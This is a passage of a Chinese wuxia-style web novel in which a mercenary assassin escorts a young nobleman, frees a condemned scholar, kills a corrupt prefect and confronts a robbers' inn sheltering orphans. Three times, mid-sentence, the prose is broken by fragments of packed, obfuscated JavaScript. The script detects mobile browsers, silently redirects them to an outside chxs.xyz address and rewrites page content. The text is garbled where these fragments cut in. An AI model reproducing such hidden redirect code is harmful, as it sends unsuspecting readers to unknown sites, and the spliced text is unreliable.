原以为男人是个心地善良之人,可托付终生,可谁知道那男人其实是个混球,喝醉了酒就打她,她原本想走,奈何腹中有了胎儿,便想着先生了孩子再带着孩子一块走。 自从知道了妇人有了离去的心思,男人也收敛了不少,甚少再借醉打骂过她。 但是妇人却知道,男人并不是真的怕她走而不打她,而是怕她如今走了,尚在襁褓的幼子便无人照看,所以才暂且不打她。 因此,这半年来,她日日替人绣花到半夜,就为了攒点路费。 谁知道昨日夜里,男人喝多了酒回来,看到她还在绣花以后突然发了疯,骂她是个养不熟的白眼狼,死命的打她。 打得她哭喊不止,邻里乡亲都听到了动静。 虽然他们知道妇人正在挨打,甚至可能会因此一命呜呼,可是常言道清官难断家务事,他们虽可怜、同情妇人也不好插手。 只有书生一人伸出了援手,他进了他们的院子,想要阻止男人,却不慎将他杀了,然后今日天一亮就去投了案。 柳傅文的手在桌子上轻轻一敲,“官府怎么判的?” “杀人偿命,明日午时问斩。” “不行!”柳傅文手一挥,“这书生不该死。” “你说了不算。” 柳傅文登的一下坐到凳子上,愤愤不平的说道:“我们必须救他!” “好。”方隐攸看着他微微一笑,“很好。” 说完,他的手也在桌上轻轻一敲,“他今夜会被关在牢里,那里有官兵把手,你去救他,若顺利,你二人全须全尾的出来,若不顺利,你今夜死,他明日亡。” “两千七百四十二里的路程,我已经护你走了七百里,我只要你20两黄金,再加上你欠我的五两黄金,一共二十五两黄金,你先给我,再去救他。” 柳傅文听完,目瞪口呆的盯着他,满脸的震惊,“方隐攸,你没有同情心吗?” “我是个刺客。” 4. 救人 方隐攸说的极度坦然,说完他起身翻窗跳了出去,然后又很快的回来,手里还拿着一把匕首。 他将匕首扔到柳傅文的面前,“轻便、锋利、易操作,适合你。” 柳傅文彻底愤怒,他将匕首用力的扔到地上,手指快要戳到方隐攸鼻子上,一字一句的说,“一百两白银,救书生一命。” “杀人是一百两白银,救人可不是这个价。” “为什么?”柳傅文用力的踩住他的脚,“方隐攸,你别做这种坐地起价的勾当!” “杀人,我不过是手起刀落人头点地,救人,麻烦的多。” 方隐攸伸手按住柳傅文的肩膀将人往后一推,走到窗户边朝下看了一眼,“这书生,确实不该死。” 柳傅文嘲弄的哼一声,“那也没见你想救。” “我的意思是,你若是真心想救,不该舍不得花钱。” “五十两黄金,可以了吗?” 方隐攸满意的点点头:“好。” 他朝柳傅文走来,施施然捡起横在地上的匕首,修长的手指捏住它随意的把玩着。 像是才注意到柳傅文此刻的情绪,方隐攸笑着拍了拍柳傅文的肩膀,安慰道:“别生气,我必定会救出书生。” 柳傅文呵呵一笑,一把打开了他的手,不让他碰自己一根汗毛。 等到了半夜时分,方隐攸背着柳傅文疾步奔往城北衙门西南方向处的大牢。 今夜风大,两人的衣摆在疾风中纠结在一起,方隐攸的发丝胡乱的拍打在柳傅文的脸上,又痒又疼,他忍了许久终于是忍耐不住,一把拽住他的头发在自己手里打了个结。 方隐攸感觉到他的动作,“你在做什么?” “你这头发太招摇了。” “你其实可以不用来。” “不来?”柳傅文嗤笑一声,“你知道本公子的命有多金贵吗?若是你不在,我死在客栈里了怎么办?” 方隐攸也想起了昨天晚上的屋外的人,于是不再多说什么。 方隐攸脚程快,一步几丈远,两人很快就到了大牢前的一颗百年老树上。 柳傅文一手扶着树干一手扶着方隐攸的肩膀,还是有些颤颤巍巍的,他朝着大牢的方向抬了抬下巴,“这么多人,你杀进去不得闹出很大的动静?” 方隐攸无语的看他一眼,“劫牢房还能悄无声息的?” 柳傅文也反应过来自己问了一个不太明智的问题,默然的别过头,看天看地就是不看方隐攸。 “抱住树,我走了。” 方隐攸抬了抬肩膀,示意柳傅文放开自己。 柳傅文觉得那样的姿势过于愚蠢,只肯一只手扶着树,另一只手往上一抬,握住一个枝干,“我觉得这样就挺好。” 方隐攸但笑不语,提剑直冲牢房大门。 夜间的牢房虽有官兵把手,但是好在数量并不多,方隐攸背上没了柳傅文这个累赘,对付他们这种在练武场里训练出来的士兵绰绰有余。 不过他不想杀人,剑并未出鞘,只用剑鞘重重的打在他们的后颈,将人打晕过去便收了手。 当他提着书生的衣领,将人带出牢房的时候,也不过是过了半柱香的功夫。 书生昨夜里慌慌张张并不记得自己撞到的是谁,所以也就没有认出方隐攸来,他以为方隐攸救错了人,忙告上自己的大名,“在下乃是苏辰,大侠是不是救错人了?” 牢房过道上有几盏煤油灯照明,方隐攸瞥他一眼,昏黄的烛光下书生的脸色憔悴,但是却没有半点被救的喜悦亦或是将要被斩的慌乱。 倒是个能堪大用之人。 “有人花五十两黄金让我救你一命。” 说完,方隐攸提着他的衣领,迅速奔到老树下,指了指树上的人说,“就是他。” 苏辰抬手望去,可惜枝繁叶茂,他并不能看到柳傅文的人影,只看到一双鞋底,他举手作揖,毕恭毕敬的说到,“在下苏辰,乃是一介书生,不值得恩人花五十两黄金救我一命。恩人可将钱取回,在下自行回牢房。” 柳傅文闻言不可置信的大叫一声,“你是不是蠢啊?都已经被救出来了,你还想回去?不知道你明天就要被斩首了吗?” 苏辰淡淡一笑,“在下自然知晓,但是杀人偿命乃是天经地义之事。” “榆木脑袋,你杀了那个男人是为民除害!你的命比他的命值钱多了,一命抵一命多不划算?” “可是...” 柳傅文打断他的话,“还有,他已经冒险进去救了你,就不能当做无事发生,我怎么好意思让他把银子还给我?所以,你快走吧,别想着去送死了。” 苏辰依旧看不清柳傅文,他望着一片绿叶,问道,“敢问恩人为何救我?” “你与那个妇人非亲非故,又为什么要救她呢?” “非亲非故便不能救吗?”苏辰淡淡一笑,“她无辜,我便救了。” “你既然知晓这个道理还有什么好问的?”柳傅文说着从怀里掏出一锭银子到苏辰脚下,“你拿着银子,快些逃命去吧。” 苏辰垂首看着地上的银锭,抿着唇思索片刻,捡起银子后再次对着柳傅文所在的方向拜了拜,“敢问恩人大名,苏辰日后必当报答恩人的救命大恩。” “不用不用,你且快点走吧,我和他跑得快,不怕被追上,你可就不一样了,还磨蹭些什么呢?” 苏辰闻言却依旧不肯动,弓着腰等着柳傅文的回答。 “京城柳傅文!” 柳傅文实在无奈,只得大喊一声,然后再次催促他赶紧离开。 苏辰这次不在犹豫,连忙朝着无人的小路跑去。 方隐攸飞身站到柳傅文身边,遥望了一眼知州府所在的方位,“我方才听到牢中守卫说,知州想要将那个被苏辰救下的孤寡妇人抢入府中。” “什么?”柳傅文眉头紧蹙。 “下午吃饭时,我听到酒楼里有人偷偷议论,这知州是个贪官,在位期间不知道搜刮了多少民脂民膏,苏辰若是能拿出千百两银子,也不用死。” 方隐攸看到柳傅文眼珠一转,便猜到他心中所想,随即说道:“你想要我杀了知州,我可以分文不取。但是...” “但是?” 方隐攸将他扔到自己背上,“知州不是寻常百姓,杀了他以后我们便得连夜离开此地,不然会很麻烦。” 柳傅文一把拽住他的头发,凑近他问道,“那我晚上睡哪?” “树上地上,哪里不能睡?”方隐攸无所谓的耸耸肩,“或者我们不管贪官,让他继续在这里作威作福,只是可惜,苏辰将那对母子从狼穴中救了出来,他们立刻又入了虎口,还有城中这些百姓,还不知道要被他荼毒多久。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810143|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可悲可叹呐。”说完,方隐攸脚尖在树枝上轻轻一点,两人落到地上,又迅速朝前奔走数丈远。 柳傅文将下巴抵在方隐攸的背上,看着他在风中飞扬的发丝,沉默了许久后淡淡道,“去知州府。” 方隐攸似乎早就料定了他会如此说,闻言连问都没有多问,直接转身就朝着知州府奔去。 知州府不比在邑州城北的李府,里面是有持械的官兵做护院的。 方隐攸将柳傅文放在知州府前的树上,让他像刚才一样藏在树枝里,“你在这里等我。” 柳傅文点点头,手在脖子上做了一个动作,“杀了他!” “别忘了,我是一个刺客。” 说完,方隐攸跳到知州府的院墙之上,像是一只猎豹一般,敏捷而又矫健,他站在高处观察许久,然后悄无声息的落在一处院子的屋顶上。 这是正院的主屋,乃是一家之主所住之地,知州必然就在这个院子里。 也不知道是不是做了亏心事害怕鬼敲门,这院子里面的护院格外的多,方隐攸随意数了一下有将近二十个。 方隐攸悠悠然的翻身落到院中,那些护院竟然没有一个人察觉到异动,就让他轻而易举的将院中人都打晕了过去。 至于正在酣睡中的知州,直到方隐攸一剑抹了他的脖子都没有反应过来。 方隐攸告诉柳傅文自己是在睡梦中杀死知州的时候,被柳傅文锤了一拳,“你该把他叫醒,让他吓得屁滚尿流,然后再把他碎尸万段。” “下次吧,下次一定按你说的做。” 夜间守城门的士兵们总是会偷偷打个盹,不过一般都睡得不深,但凡有个风吹草便也能惊醒过来。 但是方隐攸背着柳傅文从城门中奔走而出时,连地上的尘埃都没有被惊动,更何况是他们。 柳傅文十分惊叹的啧了啧嘴,“你有这轻功,随便去偷几个钱庄,也能有万贯家财了。” “不可偷不可抢。” “什么?” “不可偷不可抢。”方隐攸又说了一遍,“因为你无法预料,被抢来、偷来的那笔钱,究竟是当做何用的,若是别人的救命钱,那就得不偿失了。” 柳傅文打了个哈欠,困顿的闭上了眼。“那你就去抢那些坏人的银子。” “如何判断一个人是不是坏人呢?” “不是好人的人就是坏人。” 方隐攸闻言轻笑一声,“你说得对。” 柳傅文将手在方隐攸身前交握,语气越发迷糊:“我柳傅文说的,自然是对的。” 方隐攸前行大概一炷香的功夫以后,转向进入了一个山林中,他借着月光找到一个适合睡觉的树桠,将已经在他背上入睡的柳傅文稳稳的放在了上面,然后自己直接在树桠下面的地上睡了。 可是方隐攸还没来得及入睡,就听到了利刃划破长空的声响,他迅速翻身上树,将柳傅文背在身上朝着山林深处急速奔去。 山林中的树木多枝丫,虽然方隐攸已经极力避开,但是依旧有一些细长条打在柳傅文的身上。 他痛呼一声,迷蒙的睁开眼睛,在看到他们竟然在深山老林里面奔走时瞬间清醒,“方宇攸,你这是要去哪里?” 正说着一支箭从他耳边飞过,吓得他立刻趴了下来,将脸死死的埋在方隐攸的背上,“快跑!快跑!” 5. 突围 既然柳傅文让他快跑,方隐攸也不再顾忌树枝打在柳傅文身上他会不会痛,直接看着哪里树密就往哪里跑。 柳傅文在他背后被枝条抽打的痛呼声不止,又不敢大叫出声,只能用力的捏住他的手臂,咬牙切齿的在他耳边低语,“方隐攸,你没长眼睛吗?” “是树枝没长眼睛。” “你!” “捂住脸。”方隐攸说完立刻跳上一颗大树,然后屏息凝神探听周围的动静,在确定身后那群人没有追过来以后,将柳傅文放到了树桠上。 柳傅文摸着自己后背,用力的打了方隐攸一拳,“本公子金枝玉叶,什么时候遭过这种罪?” “对不住。” 方隐攸说着躺倒树枝上,盯着还站在树杈上的柳傅文眨了眨眼,“你还不睡吗?” 柳傅文呵呵一笑,“我自己能躺下去吗?” 方隐攸像是才反应过来一般,立刻站了起来,朝他说了一声对不住,然后扶住他的手臂,让人顺利的躺在了树枝上。 “太硬了。”柳傅文嫌弃的说到。 “那你去睡地上?” “太脏了。” “那你要怎么样?” “能怎么样?睡呗。”说完,柳傅文发泄似的抬手拽下几片树叶扔到方隐攸脸上,“以后再也不能赶夜路了。” “好。” 方隐攸将树叶盖在眼睛上,长呼了一口气,“睡吧,不会再有人来了。” 这一晚上是柳傅文自从上路以来睡得最不舒坦的一晚上,早上醒来的时候还差点滚到地上去。 方隐攸却觉得昨夜是他睡得最舒坦的一晚上,夜里起风时簌簌的树叶声是他最喜欢的声响——时疾时缓,趣味盎然。 柳傅文倚在树干上,脚踩着湿润的泥土,手揉着酸痛的肩膀,皱着眉问方隐攸,“现在能出山了吗?昨夜那些人应该已经走了吧?” 方隐攸摇摇头,“还没有。” “啊?”柳傅文不可置信的睁大眼睛,“我什么时候结了这么大的仇家?” “你都不知我怎么知道?” 方隐攸环顾四周,看到不远处有一颗野果树。“我去摘几个果子。” 柳傅文点点头,“去吧去吧,反正我不吃。” 方隐攸十分诧异,“你不饿?” “饿,但是本公子从来不吃野果。” 方隐攸呵一声,朝着果树走去,随手摘下几个果子吃完了才回来。 柳傅文看到他两手空空的回来,表示十分佩服。 “果然是个莽夫,不知做人的礼数。” “什么礼数?”方隐攸用剑鞘敲了敲柳傅文依靠的那棵树的树干,树上霎时间掉下来许多不知名的小果子,全部砸在了柳傅文头顶。 柳傅文惊叫一声然后迅速跳开,指着方隐攸骂道,“莽夫!屠夫!南蛮子!” 方隐攸看他这幅气急了的模样,哈哈大笑,眼角都被挤出了细纹,等到笑累了,他从怀里掏出两个果子扔到柳傅文怀里,“吃了,然后我带你杀出去。” 柳傅文嫌弃的捏着果子在衣襟上仔细的蹭了蹭才吃,刚咬破外面那层皮就被酸的挤眉弄眼,他强忍着吞了进去,“这也太酸了吧?” 方隐攸越过他朝前走了几步,这时候太阳才刚升天,他们这个方位背光,天色依旧阴沉沉的。 “你知道他们有多少人吗?” 吃完了果子的柳傅文戳了戳方隐攸的手臂。 方隐攸摇摇头,“不知道,没区别。” 柳傅文啧啧几声,将沾染了野果汁水的手在他的衣裳上擦干净,然后朝他伸出手,“走吧。” 方隐攸点点头,将他扔到背上后拔出可生剑,然后如疾风般朝前奔去。 守在外面的人一开始并没有反应过来方隐攸带着柳傅文冲出来了,直到看到有几个弟兄毫无征兆的倒下才反应过来。 “他们出来了!” 不知道是谁喊了一声,山林中瞬间响起一阵嘶吼声,方隐攸觉得他们极度愚蠢,如果他是他们,就该躲在暗处放冷箭,而不是大叫着暴露自己的方位。 不过这样也好,他杀起来顺手多了。 方隐攸如鬼魅般在人群中穿梭,树叶抖动时,便也是他们的人头落地时。 等到方隐攸背着柳傅文从山林中走出来时,两个人身上滴血未沾,他的可生剑上也没有任何血迹。 柳傅文感觉到周围变得不一样了才将脸从他的背上抬起来,再次看到宽敞的官道,柳傅文感觉整个人都变得舒畅了起来,身上的酸痛也瞬间消散。 他哈哈一笑,抬手拍了拍方隐攸的肩膀,“不错不错,不愧是方隐攸。” 方隐攸闻言没有任何反应,他将柳傅文放了下来,与他并肩而行。 “下一个城镇据此不过80里路,走过去也来得及。” 柳傅文对此没有任何异议,如果不是情况特殊,他一个大男人也不想被另一个男人背着,尤其是这个男人还比他矮一点点,瘦一点点。 早春时节,路边开着许多不知名的花,风景十分雅致,柳傅文玩心大,这里看看,那里看看的,虽说只有80里路,两人也走了足足3个时辰才到。 虞郡城是个小城,守城门的官兵也比之前两城的少,方隐攸和柳傅文进城以后先去找了一家酒楼吃饭。 虽然引路人说这家酒楼是城里最好的一家,但是柳傅文进门以后,看到里面略显寒碜的布置,还是有些嫌弃的撇了撇嘴。 店小二看出柳傅文对这里不甚满意,仔细一看他身上穿的锦衣和腰间挂的玉石,也知道他肯定是见过豪华地方的富家公子,心里不免担心进店的客人飞走,于是上前一步,打算将人往里面请。 可是他的手还未碰上柳傅文的衣摆,就被方隐攸的剑鞘抵住了。 方隐攸冷冷的扫他一眼,“做什么?” 店小二被他眼中凌厉的杀气所迫,立刻后撤一步,“大侠误会,小的就是想请这位客官里面请。” 柳傅文也狐疑的看向方隐攸,“你是不是太警惕了?”他指了指店小二,“这一看就是好人啊。” 店小二嘿嘿一笑,“公子说的是,小的不过是个打杂的,能有什么坏心思。” 方隐攸瞥一眼柳傅文,收回了剑,同他一道随着店小二走到靠窗的桌边坐下。 眼下正是吃饭的时辰,这偌大的大堂里面,加上方隐攸他们一桌,竟然才坐了三桌人,显得十分冷清。 方隐攸给柳傅文沏了一杯热茶,“喝吧。” 柳傅文凑近闻了闻,“这茶怎么有股怪味?” 方隐攸端起来闻了一下,然后又放到他面前。 “泡过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810144|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水的茶叶。” 柳傅文一愣,不可思议的打量着他,“你这南蛮子竟然还能闻出这茶叶泡过水?” 方隐攸冷哼一声,正眼都没给他一个。 柳傅文将茶往他面前一推,“来,本公子说错话了,给你赔个不是。” 方隐攸修长的手指轻轻一弹,茶杯直接落到柳傅文面前的桌沿边上,再往前一寸,便会倾倒在他身上。 “好意心领,你还是自己喝吧。” 柳傅文啧啧几声,将茶杯捏在手里把玩,斜眼看着他,“方隐攸,你做刺客之前是做什么的?” “做刺客之前?” 方隐攸回忆半晌,一脸真诚的回答,“游手好闲之辈。” “敷衍。”柳傅文无语的翻了个白眼,将茶杯放到无人的那边,然后朝着在大堂里面转悠的小二招了招手。 小二过来的很快,弯着腰笑着问道,“客官可是要添几道菜?” 柳傅文从怀里拿出一锭银子递给他,“去给我买壶好茶来。” 小二摆了摆手,示意柳傅文把银子收回去。 “客官想喝好茶早说啊,我们店家屋里有上等的碧螺春,您且等着,我去给您泡上一壶。” 说完,不等柳傅文做出反应,立刻就朝着后院跑去。 方隐攸看着小二的背影,眼神莫测。 “他怎么了?”柳傅文问道。 “他是练家子。”方隐攸说完用手轻轻点了点桌子,“不过,你既然说他是好人,那他必然是个好人。” 柳傅文怎么会听不出来他语气里面的阴阳怪气,“心坏的人看谁都是坏人。” “愚蠢的人看谁都是好人。” “你!”柳傅文伸脚用力的踩了一下方隐攸的脚,“我可是你的雇主!” 方隐攸收回脚,“知道了。” 小二很快就提着一壶茶过来了,他笑着给柳傅文沏了一杯茶,“公子尝尝这茶如何?” 柳傅文接过茶杯,低头闻了一下,然后满意的点点头,“不错!” “那公子您慢慢喝!” 等到小二离开,方隐攸缓缓道,“是好茶就多喝点。” 柳傅文呵呵一笑,将茶壶挪到自己这边,“你别想喝。” 酒楼客人不多,但是上菜速度却很慢,柳傅文一杯茶都快喝完了,第一盘菜才刚刚端上了。 然后又等了将近一盏茶的功夫第二盘菜才端上来。 柳傅文十分不耐烦叫住上菜的小二,“让你们后厨手脚麻利点,本公子可没这个闲工夫坐在这里等你们慢慢悠悠的上菜!” 小二闻言忙不迭的点头,“好好好,小的这就去催。” 柳傅文捏着筷子,表情十分郁闷的盯着桌子上的两盘菜,“就这上菜速度,再多来一桌客人,咱们估计得等到傍晚才能吃上饭。” “为什么不先吃呢?” “菜未上齐就动筷,是为失礼。” “迂腐。” 方隐攸说完,伸手夹起一块肉递进嘴里,眼神戏谑的盯着柳傅文。 柳傅文嗤笑一声,端起面前的茶饮了一口。 好在后面几盘菜上的速度快了不少,柳傅文终于在方隐攸快要将一盘卤肉吃完前吃上了饭。 只是可惜,还没等他吃饱肚子,就瞬间两眼一闭,扑在了桌子上。 6. 黑店 方隐攸看着趴在桌上一动不动的柳傅文,长长的叹了口气,他抬手将柳傅文的脸扶着侧放着,免得他呼吸不畅憋死自己。 然后,他悠悠然的看向大堂里早就已经拔刀相向的那两桌“客人”。 “陈大哥,他怎么没晕?”一个蓄着络腮胡的壮汉对着身前面色黝黑的男人说道。 “方某久在江湖闯荡,迷药吃过太多。”方隐攸望着他,眉眼含笑,“还有下次的话,记得多放点。” 壮汉闻言,尴尬的摸了摸胡子,然后伸手戳了戳面前的男人,“大哥,咱们现在怎么办?” 陈大哥转过头瞪他一眼,“管他晕没晕,兄弟们!给我上!” 几个人立刻大吼一声,提着刀就朝着方隐攸他们所在的这个位置冲了过来。 方隐攸反手拿起身后方桌边的长凳朝着他们一扔,长凳如有万钧重的砸在最前面两人的腹部,几个人哀嚎一声,如叠罗汉一般摔倒在地。 方隐攸走到柳傅文身后,将他挡在自己背后,好言相劝这群人,“你们不是我的对手,快些走吧。” 陈大哥爬起来呵呵一笑,“小子,口出狂言可不好。”说着,他又提着刀朝方隐攸砍来。 方隐攸往前一步,握剑的手往前一扫,剑鞘砍在他的侧肩,他立刻双膝一软,整个人跪倒在地,方隐攸再抬脚一踢,他手中的刀迅速朝着反方向飞去,擦过那一群人的头顶后直直的插入大堂的石柱上。 其中有一两个身形稍微高一点的,他们的发髻直接散落,飘了满地的碎发。 众人见状吓得连忙扔了手里的刀,哭喊着求饶,“大侠,怪小的门有眼无珠,还求大侠饶了我们大哥吧。” 方隐攸扫了一眼跪在自己面前的男人,“你的兄弟们求我放了你。” 男人撇过头冷哼一句,“要杀就杀,说这么多废话做什么?” 方隐攸手腕一转,剑鞘重重的打在他的身前,他便像是被疾风横扫一般,在地上滚了几圈后停在了那些求人的人面前。 方隐攸走到柳傅文身边,将昏睡的他背在背上,然后看向那群惊魂未定的人,“哪里还有酒楼?” 众人闻言面面相觑,不敢说话。 方隐攸冷眼一扫,那个络腮胡壮汉战战兢兢的走了出来说道,“大侠,咱们这是个小地方,城中就这一家酒楼。” 方隐攸于是又将柳傅文放了回去,他走到壮汉面前,“就这一家?”说完,他一掌打在壮汉肩上,将人打得在墙上撞得吐出一口血后,又迅速闪到他面前掐住他的脖子,“那你们还敢做杀人的勾当?过路的旅人不是都成了你们的囊中物?” 壮汉的脸瞬间涨红,他挣扎的握住方隐攸的手,“大侠,咱们...不杀人...” 方隐攸将他随手扔到地上,冷眼睥着他,“不杀人?” “对对对!”壮汉咳嗽几声,“咱们不杀不杀。” 恰好这时候,一个身姿妙曼的女人从后厨跑了过来,她扑到壮汉身上,哭着对方隐攸解释,“大侠,我家男人当真没有杀过人!” 她指了指昏睡在桌子上的柳傅文,“你家公子吃的迷药也是姝娘亲手调制的,不伤身。” “我们...我们就是看你公子身上带了许多值钱的东西...想要...”女人说着,偷偷瞟了一眼方隐攸的神色,“想要拿去换些银子...” 说完,女人将壮汉挡在身后,“大侠,你已经将我家男人打成这副样子了,也该消气了,我们真的不做杀人的勾当...” 方隐攸听她说完这番话,忍不住笑道;“说着说着,反倒成了我的不是了。” 女人摆摆手,“不敢不敢,说到底也是我家男人他们有眼不识泰山,竟然惹到了大侠。” 方隐攸呵呵一笑,手腕一抖,长剑立刻就要出鞘。 他一个刺客,管他什么有的没的,想杀就杀。 “等一下!” 又一个女人冲了出来,她跑到方隐攸面前伸开双臂挡住一群人,“大侠,他们是无辜的。” 方隐攸闻言倒是来了些兴趣,他收下长剑,走到柳傅文身边坐下,半靠在他身上,朝着女人抬了抬下巴,“说罢,我听听他们有多无辜。” 女人朝着后厨的方向喊了一声,“孩子们,都出来吧。” 随后,方隐攸便看到十几个半大的孩子从后门那里涌了进来,一个个的面黄肌瘦,头发稀疏,一看便是饿久了的。 孩子们先是看了一眼方隐攸,又看了一眼女人,然后都跪倒了方隐攸面前,哭喊着,“大侠,求求你饶了干爹干娘们吧。” 方隐攸原先就听出了后院里面藏了许多人,还以为是一群乌合之众,但是没想到却是一群孩子。 他诧异的看着他们,问道:“这是怎么回事?” 女人往前一步,说道:“我叫姝娘,是这个酒楼的老板娘,几个月前,城中忽然多了许多像他们这样的孩子,我一看便知道他们都是饿久了的、逃难来的孩子。” “一问,才知道他们都是下面县镇里的孩子,爹被抓去充军,娘也被抢走了,只剩下一个半大的孩子在家活活等死。” “我看他们可怜,便收留在了酒楼里。只是,我们这虞郡本就是小地方,家家户户都不富裕,上酒楼吃喝的人便少。” “我实在是无力支撑这么多孩子的生计,便请求这街上的许多店家替我分担了些,可是越来越多的孩子往城里来,我们实在是没钱了,才打起了过路旅人的主意。” 姝娘说道这里,十分恳切的解释,“但是我们只劫财,从不害命!” 方隐攸刚想说话,就感觉到自己依靠的柳傅文忽然动了动,他似乎是察觉到自己正被人压着,立刻用力往后一推,想要将人推开,却不料方隐攸迅速撤身,他便失了力,整个人都猛地朝后倒去。 方隐攸见状迅速抬腿接住了他,免得他真的摔在地上免不得又要闹多久。 柳傅文躺在他的小腿上,还有些没有回过神来,只是看到方隐攸竟然正俯视着自己,眼神里面还带着写戏谑,于是他立刻坐直身子,与方隐攸四目相对。 方隐攸勾勾嘴角,“睡得怎么样?” 柳傅文哼一声,没有理他,而是转头看向姝娘,“知不知道是哪支军队抓的人?领将是何人?” 姝娘闻言遗憾的摇了摇头,“孩子们年岁都小,只记得是一群士兵,并不知道是那只军队,隶属于哪个将领。” “怎么了?”方隐攸问道。 柳傅文神色有些凝重的看着他,“正规军队招兵皆为募兵,绝对不会强制抓人入伍。所以,那群人只怕不是官兵。” 方隐攸点点头,“所以呢?你想做什么?” 柳傅文横他一眼,“你知道这代表着什么吗?” “代表着什么?” “有人在私自招兵买马!” 方隐攸无所谓的挑挑眉,“和我有什么关系?和你有什么关系?” “你!”柳傅文瞪着他,痛心疾首的说道:“你难道不是大境的子民吗?你怎么可以说这种话?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810145|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我的任务只有护你上京,其他的得加钱。” 柳傅文用力的锤了一下桌子,不再和方隐攸多说一句话,而是看向姝娘,“你们没向州府禀报吗?” “说过。”姝娘长叹一口气,“他们不管。” “岂有此理!”柳傅文怒不可遏,白皙的脸被气得涨红一片,“他们就是这么做官的?” 大堂里的一群人都开始叹气,“我们也是没有办法才这样做呀,还希望公子、大侠饶了我们这一回吧!” 柳傅文抬手打住他们的哀嚎,问道:“这些孩子是从哪些县里来的?” “西北方向据此地五十里地的淮临县。” “本公子定要去那里瞧瞧到底是怎么回事!” 方隐攸面无表情的盯着他,淡淡道,“想不到柳公子竟然是如此正义凛然之人。” “那是自然,不像某方大侠,生平唯一最爱只有银子。” “还有金子。” 柳傅文被堵得长呼一口气,手指着他的脸喋喋不休,“方隐攸!你个南蛮来的屠夫,这么一群可怜的孩子站在你面前,你就没有半点同情心吗?” 方隐攸随意的摆弄着桌子上的碗筷,悠悠然道;“如果真如你所说,那淮临县里有人招兵买马,那我们两个人前去,就意味着我要面对的可是千军万马。” 方隐攸的手倏的一下按住在桌子上转动的碗,抬眼眼神莫测的凝视着柳傅文,沉默许久后似笑非笑的问道:“若是我没能护得你周全,你可就是死无葬身之地了。 ” “你还要去吗?” 柳傅文昂首挺胸,十分慷慨的拍了拍胸脯,“本公子岂是贪生怕死之辈?” 方隐攸拍了拍手,“好!很好!” 姝娘担忧的看着柳傅文,“公子真要去?” “自然是真的。” “此去只怕是凶险万分呐,还请公子三思。” 柳傅文无所谓的摆摆手,然后将手搭在方隐攸肩膀上,十分自信的说道,“我这镖师武功了得,千军万马也可以来去自由。”说着,他对着方隐攸挑挑眉,“是吗?” 方隐攸点点头,“对,去一趟十两黄金。” “区区十两而已,到时候本公子一并给你就是!” 姝娘见此也不好再劝,只能朝着他们行了个礼,“姝娘代孩子们多谢两位的大义之举。” 说罢,她看向桌子上柳傅文还没吃几口的早已经冷透的菜,“我再去给两位公子做些吃的。” 随后,她就和另外一位女子领着孩子们走了。 大堂里的几个壮汉看到柳傅文和方隐攸刚刚那副成竹于胸的样子,又听到方隐攸说去一趟十两黄金,几个人商量了一会功夫,推着那个黑脸的陈大哥走了过来。 “我们兄弟也想随着两位前往淮临县,不知二位愿不愿意?” 柳傅文上下打量他们一番,“为什么想去?” 陈大哥斟酌了一下,直言道,“兄弟们不要每人十两黄金,只一共要十两黄金便可!” 柳傅文闻言啧啧摇头,“还以为你们是为了救百姓,原来是为了赚银子。”他摆了摆手,“不要不要!” 一众武夫们闻言有些讪讪的笑了笑,“你是不是看不上我们众兄弟?” “是。” 柳傅文说的很直白,手在他们面前扫过,然后指向身侧的方隐攸,“你们连他的一个小指头都比不上。” 他这话虽然说的难听,但却是事实,众人只能灰溜溜的往后厨去了。 7. 好官 等到两人重新吃完饭,天色已经不早了。 方隐攸问柳傅文是趁着天还未黑现在就去淮临县还是干脆明日再走。柳傅文倚在酒楼的大门上,表情十分郑重的说道:“现在就走,以免夜长梦多。” 方隐攸点点头,转头看着大堂里正看着两人的姝娘,“怎么了?” 姝娘走上前来,将手里的一个油纸包递给方隐攸,“赶路容易饿,公子和大侠可带着这些路上吃。” “多谢。” 方隐攸接过油纸包递给柳傅文,“拿着吧。” 柳傅文原本不想拿,但是看到鼓鼓囊囊的一大袋让方隐攸揣在怀里也确实不雅,于是便接了过来抱在身前。 “二位可千万要小心,我时常听到过路的旅人说那里如今已经是一片狼藉,危险得很。” 柳傅文摆了摆手,示意她且放宽心,“我这镖师啊,厉害着呢。” 姝娘闻言退后一步,朝着两人拜了拜,“那就祝二位此行顺利。” 方隐攸朝她微微颔首示意,然后便背着柳傅文离开了。 此行不过五十里,方隐攸奔走一步便是丈许,虽然路上柳傅文一直出言打搅他赶路,不过两人也还是顺利的在天彻底黑下来之前看到了淮临县那矮矮的城门楼。 “方隐攸,我怎么看着这城门上连一个守卫都没有呢?”柳傅文纳闷的说道。 方隐攸早在几十丈开外就看到了这城门无一人把手,他停了下来,将柳傅文也放到了地上。 